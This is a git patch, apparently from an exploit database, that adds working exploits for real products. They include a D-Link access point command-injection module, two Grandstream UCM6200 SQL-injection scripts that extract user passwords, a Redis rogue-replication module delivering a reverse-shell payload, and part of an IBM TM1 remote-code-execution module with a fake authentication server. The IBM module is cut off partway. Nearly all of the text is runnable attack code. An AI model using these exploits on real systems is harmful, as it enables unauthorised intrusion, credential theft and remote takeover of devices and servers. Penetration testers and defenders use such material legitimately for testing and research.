From 19615ff70440d4114b06992f6367ee30cf8471f3 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Wed, 1 Apr 2020 05:01:47 +0000 Subject: [PATCH] DB: 2020-04-01 7 changes to exploits/shellcodes FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC) Redis - Replication Code Execution (Metasploit) IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit) DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit) SharePoint Workflows - XOML Injection (Metasploit) Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection --- exploits/hardware/remote/48274.rb | 138 ++++++ exploits/hardware/webapps/48270.py | 111 +++++ exploits/hardware/webapps/48271.py | 119 ++++++ exploits/linux/remote/48272.rb | 297 +++++++++++++ exploits/multiple/remote/48273.rb | 654 +++++++++++++++++++++++++++++ exploits/windows/dos/48269.py | 29 ++ exploits/windows/remote/48275.rb | 142 +++++++ files_exploits.csv | 7 + 8 files changed, 1497 insertions(+) create mode 100755 exploits/hardware/remote/48274.rb create mode 100755 exploits/hardware/webapps/48270.py create mode 100755 exploits/hardware/webapps/48271.py create mode 100755 exploits/linux/remote/48272.rb create mode 100755 exploits/multiple/remote/48273.rb create mode 100755 exploits/windows/dos/48269.py create mode 100755 exploits/windows/remote/48275.rb diff --git a/exploits/hardware/remote/48274.rb b/exploits/hardware/remote/48274.rb new file mode 100755 index 000000000..baf050e05 --- /dev/null +++ b/exploits/hardware/remote/48274.rb @@ -0,0 +1,138 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DLINK DWL-2600 Authenticated Remote Command Injection', + 'Description' => %q{ + Some DLINK Access Points are vulnerable to an authenticated OS command injection. + Default credentials for the web interface are admin/admin. + }, + 'Author' => + [ + 'RAKI BEN HAMOUDA', # Vulnerability discovery and original research + 'Nick Starke' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2019-20499' ], + [ 'EDB', '46841' ] + ], + 'DisclosureDate' => 'May 15 2019', + 'Privileged' => true, + 'Platform' => %w{ linux unix }, + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => "\x00" + }, + 'CmdStagerFlavor' => :wget, + 'Targets' => + [ + [ 'CMD', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + [ 'Linux mips Payload', + { + 'Arch' => ARCH_MIPSLE, + 'Platform' => 'linux' + } + ], + ], + 'DefaultTarget' => 1 + )) + + register_options( + [ + OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]), + OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]), + OptString.new('TARGETURI', [ true, 'Base path to the Dlink web interface', '/' ]) + ]) + end + + def execute_command(cmd, opts={}) + bogus = Rex::Text.rand_text_alpha(rand(10)) + + post_data = Rex::MIME::Message.new + post_data.add_part("up", nil, nil, "form-data; name=\"optprotocol\"") + post_data.add_part(bogus, nil, nil, "form-data; name=\"configRestore\"") + post_data.add_part("; #{cmd} ;", nil, nil, "form-data; name=\"configServerip\"") + + print_status("Sending CGI payload using token: #{@token}") # Note token is an instance variable now + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin.cgi'), + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'cookie' => "sessionHTTP=#{@token};", + 'data' => post_data.to_s, + 'query' => 'action=config_restore' + }) + + unless res || res.code != 200 + fail_with(Failure::UnexpectedReply, "Command wasn't executed, aborting!") + end + + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return + end + + def exploit + user = datastore['HttpUsername'] + pass = datastore['HttpPassword'] + rhost = datastore['RHOST'] + rport = datastore['RPORT'] + + print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/admin.cgi'), + 'method' => 'POST', + 'vars_post' => { + 'i_username' => user, + 'i_password' => pass, + 'login' => 'Logon' + } + }) + + unless res && res.code != 404 + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + end + + unless [200, 301, 302].include?(res.code) + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}") + end + + print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") + + delstart = 'var cookieValue = "' + tokenoffset = res.body.index(delstart) + delstart.size + endoffset = res.body.index('";', tokenoffset) + @token = res.body[tokenoffset, endoffset - tokenoffset] + + if @token.empty? + fail_with(Failure::NoAccess, "#{peer} - No Auth token received") + end + + print_good("#{peer} - Received Auth token: #{@token}") + if target.name =~ /CMD/ + unless datastore['CMD'] + fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") + end + execute_command(payload.encoded) + else + execute_cmdstager(linemax: 100, noconcat: true) + end + end +end \ No newline at end of file diff --git a/exploits/hardware/webapps/48270.py b/exploits/hardware/webapps/48270.py new file mode 100755 index 000000000..bc7b03939 --- /dev/null +++ b/exploits/hardware/webapps/48270.py @@ -0,0 +1,111 @@ +# Exploit Title: Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection +# Date: 2020-03-30 +# Exploit Author: Jacob Baines +# Vendor Homepage: http://www.grandstream.com/ +# Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware +# Version: 1.0.20.20 and below +# Tested on: Grandstream UCM6202 1.0.20.20 +# CVE : CVE-2020-5726 +# Grandstream UCM6200 Series CTI Interface SQL Injection Password Disclosure +# Advisory: https://www.tenable.com/security/research/tra-2020-17 +# Sample output: +# +# albinolobster@ubuntu:~$ python3 cti_injection.py --rhost 192.168.2.1 +--user lolwat +# [+] Reaching out to 192.168.2.1:8888 +# [+] Password length 9 +# [+] The password is LabPass1% + +import sys +import time +import json +import struct +import socket +import argparse + +def send_cti_with_length(sock, payload): + to_send = struct.pack('>I', len(payload)) + to_send = to_send + payload + sock.sendall(to_send) + + return recv_cti_with_length(sock) + +def recv_cti_with_length(sock): + length = sock.recv(4) + length = struct.unpack('>I', length)[0] + response = sock.recv(length) + return response + +top_parser = argparse.ArgumentParser(description='') +top_parser.add_argument('--rhost', action="store", dest="rhost", +required=True, help="The remote host to connect to") +top_parser.add_argument('--rport', action="store", dest="rport", type=int, +help="The remote port to connect to", default=8888) +top_parser.add_argument('--user', action="store", dest="user", +required=True, help="The user to brute force") +args = top_parser.parse_args() + + +print('[+] Reaching out to ' + args.rhost + ':' + str(args.rport)) + +length = 0 +while length < 100: + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.connect((args.rhost, args.rport)) + + challenge_resp = send_cti_with_length(sock, b"action=challenge&user=" + +args.user.encode('utf-8') + b"' AND LENGTH(user_password)=" + +str(length).encode('utf-8') + b"--") + inject_result = json.loads(challenge_resp) + + if (inject_result['status'] == 0): + break + else: + length = length + 1 + + sock.close() + +if length == 100: + print('[-] Failed to discover the password length') + sys.exit(1) + +print('[+] Password length', length) + +password = '' +while len(password) < length: + value = 0x20 + while value < 0x80: + + if value == 0x22 or value == 0x5c: + temp_pass = password + '\\' + temp_pass = temp_pass + chr(value) + else: + temp_pass = password + chr(value) + + temp_pass_len = len(temp_pass) + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.connect((args.rhost, args.rport)) + + challenge_resp = send_cti_with_length(sock, +b"action=challenge&user=" + args.user.encode('utf-8') + b"' AND +user_password LIKE \'" + temp_pass.encode('utf-8') + b"%' AND +substr(user_password,1," + str(temp_pass_len).encode('utf-8') + b") = '" + +temp_pass.encode('utf-8') + b"'--") + inject_result = json.loads(challenge_resp) + + sock.close() + + if (inject_result['status'] == 0): + password = temp_pass + break + else: + value = value + 1 + continue + + if value == 0x80: + print('oh no.') + sys.exit(0) + +print('[+] The password is', password) \ No newline at end of file diff --git a/exploits/hardware/webapps/48271.py b/exploits/hardware/webapps/48271.py new file mode 100755 index 000000000..5a6ae0235 --- /dev/null +++ b/exploits/hardware/webapps/48271.py @@ -0,0 +1,119 @@ +# Exploit Title: Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection +# Date: 2020-03-30 +# Exploit Author: Jacob Baines +# Vendor Homepage: http://www.grandstream.com/ +# Software Link: http://www.grandstream.com/support/firmware/ucm62xx-official-firmware +# Version: 1.0.20.20 and below +# Tested on: Grandstream UCM6202 1.0.20.20 +# CVE : CVE-2020-5725 +# Grandstream UCM6200 Series WebSocket 1.0.20.20 SQL Injection Password Disclosure via Login (time based) +# Advisory: https://www.tenable.com/security/research/tra-2020-17 +# Sample output: +# +# albinolobster@ubuntu:~$ python3 websockify_login_injection.py --rhost 192.168.2.1 --user lolwat +# [+] Password length is 9 +# [+] Discovering password... +# LabPass1% +# [+] Done! The password is LabPass1% + +import sys +import ssl +import time +import asyncio +import argparse +import websockets + +async def password_guess(ip, port, username): + + # the path to exploit + uri = 'wss://' + ip + ':' + str(8089) + '/websockify' + + # no ssl verification + ssl_context = ssl.SSLContext() + ssl_context.verify_mode = ssl.CERT_NONE + ssl_context.check_hostname = False + + # determine the length of the password. The timeout is 10 seconds... +probably + # way too long but whatever. + length = 0 + while length < 100: + async with websockets.connect(uri, ssl=ssl_context) as websocket: + start = time.time() + login = +'{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"' ++ username + '\' AND LENGTH(user_password)==' + str(length) + ' AND +88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or +\'1\'=\'2","token":"lolwat"}}' + await websocket.send(login) + response = await websocket.recv() + + if (time.time() - start) < 5: + length = length + 1 + continue + else: + break + + # if we hit max password length than we've done something wrong + if (length == 100): + print('[+] Couldn\'t determine the passwords length.') + sys.exit(1) + + print('[+] Password length is', length) + print('[+] Discovering password...') + + # Now that we know the password length, just guess each password byte +until + # we've reached the full length. Again timeout set to 10 seconds. + password = '' + while len(password) < length: + value = 0x20 + while value < 0x80: + if value == 0x22 or value == 0x5c: + temp_pass = password + '\\' + temp_pass = temp_pass + chr(value) + else: + temp_pass = password + chr(value) + + temp_pass_len = len(temp_pass) + + start = time.time() + + async with websockets.connect(uri, ssl=ssl_context) as +websocket: + challenge = +'{"type":"request","message":{"transactionid":"123456789zxa","action":"login","username":"' ++ username + '\' AND user_password LIKE \'' + temp_pass +'%\' AND +substr(user_password,1,' + str(temp_pass_len) + ') = \'' + temp_pass + '\' +AND 88=LIKE(\'ABCDEFG\',UPPER(HEX(RANDOMBLOB(500000000/2)))) or +\'1\'=\'2","token":"lolwat"}}' + await websocket.send(challenge) + response = await websocket.recv() + + if (time.time() - start) < 5: + value = value + 1 + continue + else: + print('\r' + temp_pass, end='') + password = temp_pass + break + + if value == 0x80: + print('') + print('[-] Failed to determine the password.') + sys.exit(1) + + print('') + print('[+] Done! The password is', password) + +top_parser = argparse.ArgumentParser(description='') +top_parser.add_argument('--rhost', action="store", dest="rhost", +required=True, help="The remote host to connect to") +top_parser.add_argument('--rport', action="store", dest="rport", type=int, +help="The remote port to connect to", default=8089) +top_parser.add_argument('--user', action="store", dest="user", +required=True, help="The user to brute force") +args = top_parser.parse_args() + +asyncio.get_event_loop().run_until_complete(password_guess(args.rhost, +args.rport, args.user)) \ No newline at end of file diff --git a/exploits/linux/remote/48272.rb b/exploits/linux/remote/48272.rb new file mode 100755 index 000000000..98b5c7a5d --- /dev/null +++ b/exploits/linux/remote/48272.rb @@ -0,0 +1,297 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::TcpServer + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + include Msf::Auxiliary::Redis + include Msf::Module::Deprecated + + moved_from "exploit/linux/redis/redis_unauth_exec" + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Redis Replication Code Execution', + 'Description' => %q{ + This module can be used to leverage the extension functionality added since Redis 4.0.0 + to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis + which called replication between master and slave. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Green-m ' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'], + [ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK'] + ], + + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + ['Automatic', {} ], + ], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', + 'SRVPORT' => '6379' + }, + 'Privileged' => false, + 'DisclosureDate' => 'Nov 13 2018', + 'DefaultTarget' => 0, + 'Notes' => + { + 'Stability' => [ SERVICE_RESOURCE_LOSS], + 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ] + }, + )) + + register_options( + [ + Opt::RPORT(6379), + OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true]) + ] + ) + + register_advanced_options( + [ + OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']), + OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']), + OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.']) + ] + ) + deregister_options('URIPATH', 'THREADS', 'SSLCert') + end + + # + # Now tested on redis 4.x and 5.x + # + def check + connect + # they are only vulnerable if we can run the CONFIG command, so try that + return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/ + + if (info_data = redis_command('INFO')) && /redis_version:(?\S+)/ =~ info_data + report_redis(redis_version) + end + + unless redis_version + print_error('Cannot retrieve redis version, please check it manually') + return Exploit::CheckCode::Unknown + end + + # Only vulnerable to version 4.x or 5.x + version = Gem::Version.new(redis_version) + if version >= Gem::Version.new('4.0.0') + vprint_status("Redis version is #{redis_version}") + return Exploit::CheckCode::Vulnerable + end + + Exploit::CheckCode::Safe + ensure + disconnect + end + + def has_check? + true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis + end + + def exploit + if check_custom + @module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8) + @module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}" + else + @module_init_name = 'shell' + @module_cmd = 'shell.exec' + end + + if srvhost == '0.0.0.0' + fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.') + end + + # + # Prepare for payload. + # + # 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable. + # It's only worked on linux system. + # + # 2. Use compiled payload, it's avaiable on all OS, however more detectable. + # + if check_custom + buf = create_payload + generate_code_file(buf) + compile_payload + end + + connect + + # + # Send the payload. + # + redis_command('SLAVEOF', srvhost, srvport.to_s) + redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}") + ::IO.select(nil, nil, nil, 2.0) + + # start the rogue server + start_rogue_server + # waiting for victim to receive the payload. + Rex.sleep(1) + redis_command('MODULE', 'LOAD', "./#{module_file}") + redis_command('SLAVEOF', 'NO', 'ONE') + + # Trigger it. + print_status('Sending command to trigger payload.') + pull_the_trigger + + # Clean up + Rex.sleep(2) + register_file_for_cleanup("./#{module_file}") + #redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb') + #redis_command('MODULE', 'UNLOAD', "#{@module_init_name}") + + ensure + disconnect + end + + # + # We pretend to be a real redis server, and then slave the victim. + # + def start_rogue_server + begin + socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport}) + print_status("Listening on #{srvhost}:#{srvport}") + rescue Rex::BindFailed + print_warning("Handler failed to bind to #{srvhost}:#{srvport}") + print_status("Listening on 0.0.0.0:#{srvport}") + socket = Rex::Socket::TcpServer.create({'LocalHost'=>'0.0.0.0', 'LocalPort'=>srvport}) + end + + rsock = socket.accept() + vprint_status('Accepted a connection') + + # Start negotiation + while true + request = rsock.read(1024) + vprint_status("in<<< #{request.inspect}") + response = "" + finish = false + + case + when request.include?('PING') + response = "+PONG\r\n" + when request.include?('REPLCONF') + response = "+OK\r\n" + when request.include?('PSYNC') || request.include?('SYNC') + response = "+FULLRESYNC #{'Z'*40} 1\r\n" + response << "$#{payload_bin.length}\r\n" + response << "#{payload_bin}\r\n" + finish = true + end + + if response.length < 200 + vprint_status("out>>> #{response.inspect}") + else + vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}") + end + + rsock.put(response) + + if finish + print_status('Rogue server close...') + rsock.close() + socket.close() + break + end + end + end + + def pull_the_trigger + if check_custom + redis_command("#{@module_cmd}") + else + execute_cmdstager + end + end + + # + # Parpare command stager for the pre-compiled payload. + # And the command of module is hard-coded. + # + def execute_command(cmd, opts = {}) + redis_command('shell.exec',"#{cmd.to_s}") rescue nil + end + + # + # Generate source code file of payload to be compiled dynamicly. + # + def generate_code_file(buf) + template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb')) + File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))} + end + + def compile_payload + make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile') + vprint_status("Clean old files") + vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|) + vprint_status(%x|make -C #{File.dirname(make_file)} clean|) + + print_status('Compile redis module extension file') + res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true| + if res.include? 'true' + print_good("Payload generated successfully! ") + else + print_error(res) + fail_with(Failure::BadConfig, 'Check config of gcc compiler.') + end + end + + # + # check the environment for compile payload to so file. + # + def check_env + # check if linux + return false unless %x|uname -s 2>/dev/null|.include? "Linux" + # check if gcc installed + return false unless %x|command -v gcc && echo true|.include? "true" + # check if ld installed + return false unless %x|command -v ld && echo true|.include? "true" + + true + end + + def check_custom + return @custom_payload if @custom_payload + + @custom_payload = false + @custom_payload = true if check_env && datastore['CUSTOM'] + + @custom_payload + end + + def module_file + return @module_file if @module_file + @module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so" + end + + def create_payload + p = payload.encoded + Msf::Simple::Buffer.transform(p, 'c', 'buf') + end + + def payload_bin + return @payload_bin if @payload_bin + if check_custom + @payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so')) + else + @payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so')) + end + @payload_bin + end +end \ No newline at end of file diff --git a/exploits/multiple/remote/48273.rb b/exploits/multiple/remote/48273.rb new file mode 100755 index 000000000..fde86e3ef --- /dev/null +++ b/exploits/multiple/remote/48273.rb @@ -0,0 +1,654 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'openssl' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "IBM TM1 / Planning Analytics Unauthenticated Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability in IBM TM1 / Planning Analytics that allows + an unauthenticated attacker to perform a configuration overwrite. + It starts by querying the Admin server for the available applications, picks one, + and then exploits it. You can also provide an application name to bypass this step, + and exploit the application directly. + The configuration overwrite is used to change an application server authentication + method to "CAM", a proprietary IBM auth method, which is simulated by the exploit. + The exploit then performs a fake authentication as admin, and finally abuses TM1 + scripting to perform a command injection as root or SYSTEM. + Testing was done on IBM PA 2.0.6 and IBM TM1 10.2.2 on Windows and Linux. + Versions up to and including PA 2.0.8 are vulnerable. It is likely that versions + earlier than TM1 10.2.2 are also vulnerable (10.2.2 was released in 2014). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro ', + # Vulnerability discovery and Metasploit module + 'Gareth Batchelor ' + # Real world exploit testing and feedback + ], + 'References' => + [ + [ 'CVE', '2019-4716' ], + [ 'URL', 'https://www.ibm.com/support/pages/node/1127781' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-tm1-rce.txt' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2020/Mar/44' ] + ], + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ 'Windows (Command)', + { + 'Platform' => 'win', + 'Arch' => [ARCH_CMD], + 'Payload' => + { + # Plenty of bad chars in Windows... there might be more lurking + 'BadChars' => "\x25\x26\x27\x3c\x3e\x7c", + } + } + ], + [ 'Linux', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64] + } + ], + [ 'Linux (Command)', + { + 'Platform' => 'unix', + 'Arch' => [ARCH_CMD], + 'Payload' => + { + # only one bad char in Linux, baby! (that we know of...) + 'BadChars' => "\x27", + } + } + ], + [ 'AIX (Command)', + { + # This should work on AIX, but it was not tested! + 'Platform' => 'unix', + 'Arch' => [ARCH_CMD], + 'Payload' => + { + # untested, but assumed to be similar to Linux + 'BadChars' => "\x27", + } + } + ], + ], + 'Stance' => Msf::Exploit::Stance::Aggressive, + # we need this to run in the foreground + 'DefaultOptions' => + { + # give the target lots of time to download the payload + 'WfsDelay' => 30, + }, + 'Privileged' => true, + 'DisclosureDate' => "Dec 19 2019", + 'DefaultTarget' => 0)) + register_options( + [ + Opt::RPORT(5498), + OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]), + ]) + register_advanced_options [ + OptString.new('APP_NAME', [false, 'Name of the target application']), + OptInt.new('AUTH_ATTEMPTS', [true, "Number of attempts to auth to CAM server", 10]), + ] + end + + ## Packet structure start + # these are client message types + MSG_TYPES = { + :auth => [ 0x0, 0x1 ], + :auth_uniq => [ 0x0, 0x3 ], + :auth_1001 => [ 0x0, 0x4 ], + :auth_cam_pass => [ 0x0, 0x8 ], + :auth_dist => [ 0x0, 0xa ], + :obj_register => [ 0, 0x21 ], + :obj_prop_set => [ 0, 0x25 ], + :proc_create => [ 0x0, 0x9c ], + :proc_exec => [ 0x0, 0xc4 ], + :get_config => [ 0x1, 0x35 ], + :upd_clt_pass => [ 0x1, 0xe2 ], + :upd_central => [ 0x1, 0xae ], + } + + # packet header is universal for both client and server + PKT_HDR = [ 0, 0, 0xff, 0xff ] + + # pkt end marker (client only, server responses do not have it) + PKT_END = [ 0xff, 0xff ] + + # empty auth object, used for operations that do not require auth + AUTH_OBJ_EMPTY = [ 5, 3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ] + + # This is actually the client version number + # 0x6949200 = 110400000 in decimal, or version 11.4 + # The lowest that version 11.4 seems to accept is 8.4, so leave that as the default + # 8.4 = 0x4CACE80 + # 9.1 = 0x55ED120 + # 9.4 = 0x5636500 + # 10.1 = 0x5F767A0 + # 10.4 = 0x5FBFB80 + # 11.1 = 0x68FFE20 + # 11.4 = 0x6949200 + # + # If something doesn't work, try using one of the values above, but bear in mind this module + # was tested on 10.2.2 and 11.4, + VERSION = [ 0x03, 0x04, 0xca, 0xce, 0x80 ] + ## Packet structure end + + ## Network primitives start + # unpack a string (hex string to array of bytes) + def str_unpack(str) + arr = [] + str.scan(/../).each do |b| + arr += [b].pack('H*').unpack('C*') + end + arr + end + + # write strings directly to socket; each 2 string chars are a byte + def sock_rw_str(sock, msg_str) + sock_rw(sock, str_unpack(msg_str)) + end + + # write array to socket and get result + # wait should also be implemented in msf + def sock_rw(sock, msg, ignore = false, wait = 0) + sock.write(msg.pack('C*')) + if not ignore + sleep(wait) + recv_sz = sock.read(2).unpack('H*')[0].to_i(16) + bytes = sock.read(recv_sz-2).unpack('H*')[0] + bytes + end + end + + def sock_r(sock) + recv_sz = sock.read(2).unpack('H*')[0].to_i(16) + bytes = sock.read(recv_sz-2).unpack('H*')[0] + bytes + end + + def get_socket(app_host, app_port, ssl = 0) + begin + ctx = { 'Msf' => framework, 'MsfExploit' => self } + sock = Rex::Socket.create_tcp( + { 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 } + ) + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError + sock.close if sock + end + if sock.nil? + fail_with(Failure::Unknown, 'Failed to connect to the chosen application') + end + if ssl == 1 + # also need to add support for old ciphers + ctx = OpenSSL::SSL::SSLContext.new + ctx.min_version = OpenSSL::SSL::SSL3_VERSION + ctx.security_level = 0 + ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE + s = OpenSSL::SSL::SSLSocket.new(sock, ctx) + s.sync_close = true + s.connect + return s + end + return sock + end + ## Network primitives end + + ## Packet primitives start + def pack_sz(sz) + [sz].pack('n*').unpack('C*') + end + + # build a packet, ready to send + def pkt_build(msg_type, auth_obj, contents) + pkt = PKT_HDR + msg_type + auth_obj + contents + PKT_END + pack_sz(pkt.length + 2) + pkt + end + + # extracts the first object from a server response + def obj_extract(res) + arr = str_unpack(res) + + # ignore packet header (4 bytes) + arr.shift(PKT_HDR.length) + if arr[0] == 5 + # this is an object, get the type (1 byte) plus the object bytes (9 bytes) + obj = Array.new + obj = arr[0..9] + obj + end + end + + # adds a string to a packet + # C string = 0x2; utf string = 0xe; binary = 0xf + def stradd(str, type = 0xe) + arr = [ type ] # string type + arr += pack_sz(str.length) + arr += str.unpack('C*') + arr + end + + # packs binary data into an array + def datapack(data) + arr = [] + data.chars.each do |d| + arr << d.ord + end + arr + end + + def binadd(data) + arr = [ 0xf ] # binary type 0xf + arr += pack_sz(data.length) # 2 byte size + arr += datapack(data) # ... and add the data + end + + def get_str(data) + s = "" + while data[0] != '"'.ord + data.shift + end + data.shift + while data[0] != '"'.ord + s += data[0].chr + data.shift + end + # comma + data.shift + s + end + + # This fetches the current IntegratedSecurityMode from a packet such as + # 0000ffff070000000203000000 01 07000000020e00000e0000 (1) + # 0000ffff070000000203000000 02 07000000020e00000e00084b65726265726f73 (2) + # 0000ffff070000000203000000 06 07000000010e0000 (6) + def get_auth(data) + # make it into an array + data = str_unpack(data) + if data.length > 13 + # skip 13 bytes (header + array indicator + index indicator) + data.shift(13) + # fetch the auth method byte + data[0] + end + end + + def update_auth(auth_method, restore = false) + # first byte of data is ignored, so add an extra space + if restore + srv_config = " IntegratedSecurityMode=#{auth_method}" + else + # To enable CAM server authentication over SSL, the CAM server certificate has to be previously + # imported into the server. Since we can't do this, disable SSL in the fake CAM. + srv_config = " IntegratedSecurityMode=#{auth_method}\n" + + "ServerCAMURI=http://#{srvhost}:#{srvport}\n" + + "ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" + + "CAMUseSSL=F\n" + end + + arr = + [ 3 ] + [ 0, 0, 0, 2 ] + # no idea what this index is + [ 3 ] + [ 0, 0, 0, 2 ] + # same here + [ 3 ] + [ 0 ] * 4 + # same here + stradd(rand_text_alpha(5..12)) + # same here... + stradd("tm1s_delta.cfg") + # update file name + binadd(srv_config) + # file data + stradd(rand_text_alpha(0xf)) # last sync timestamp, max len 0xf + + upd_auth = pkt_build( + MSG_TYPES[:upd_central], + AUTH_OBJ_EMPTY, + [ 7 ] + # array type + [ 0, 0, 0, 7 ] + # array len (fixed size of 7 for this pkt) + arr + ) + + upd_auth + end + ## Packet primitives end + + ## CAM HTTP functions start + def on_request_uri(cli, request) + xml_res = %{ + + + + + PLACEHOLDER + + + + } + + session = + %Q{ + + + + admin + + + + } + + account = + %Q{ + admin + } + + headers = { "SOAPAction" => '"http://developer.cognos.com/schemas/contentManagerService/1"'} + if request.body.include? "/" + print_good("CAM: Received first CAM query, responding with account info") + response = xml_res.sub('PLACEHOLDER', account) + elsif request.body.include? "~~" + print_good("CAM: Received second CAM query, responding with session info") + response = xml_res.sub('PLACEHOLDER', session) + elsif request.body.include? "admin" + print_good("CAM: Received third CAM query, responding with random garbage") + response = rand_text_alpha(5..12) + elsif request.method == "GET" + print_good("CAM: Received request for payload executable, shell incoming!") + response = @pl + headers = { "Content-Type" => "application/octet-stream" } + else + response = '' + print_error("CAM: received unknown request") + end + send_response(cli, response, headers) + end + ## CAM HTTP functions end + + def restore_auth(app, auth_current) + print_status("Restoring original authentication method #{auth_current}") + upd_cent = update_auth(auth_current, true) + s = get_socket(app[2], app[3], app[5]) + sock_rw(s, upd_cent, true) + s.close + end + + def exploit + # first let's check if SRVHOST is valid + if datastore['SRVHOST'] == "0.0.0.0" + fail_with(Failure::Unknown, "Please enter a valid IP address for SRVHOST") + end + + # The first step is to query the administrative server to see what apps are available. + # This action can be done unauthenticated. We then list all the available app servers + # and pick a random one that is currently accepting clients. This step is important + # not only to know what app servers are available, but also to know if we need to use + # SSL or not. + # The admin server is usually at 5498 using SSL. Non-SSL access is disabled by default, but when enabled, it's available at port 5495 + # + # Step 1: fetch the available applications / servers from the Admin server + # ... if the user did not enter an APP_NAME + if datastore['APP_NAME'].nil? + connect + print_status("Connecting to admin server and obtaining application data") + + # for this packet we use string type 0xc (?) and cut off the PKT_END + pkt_control = PKT_HDR + [0] + stradd(lhost, 0xc) + 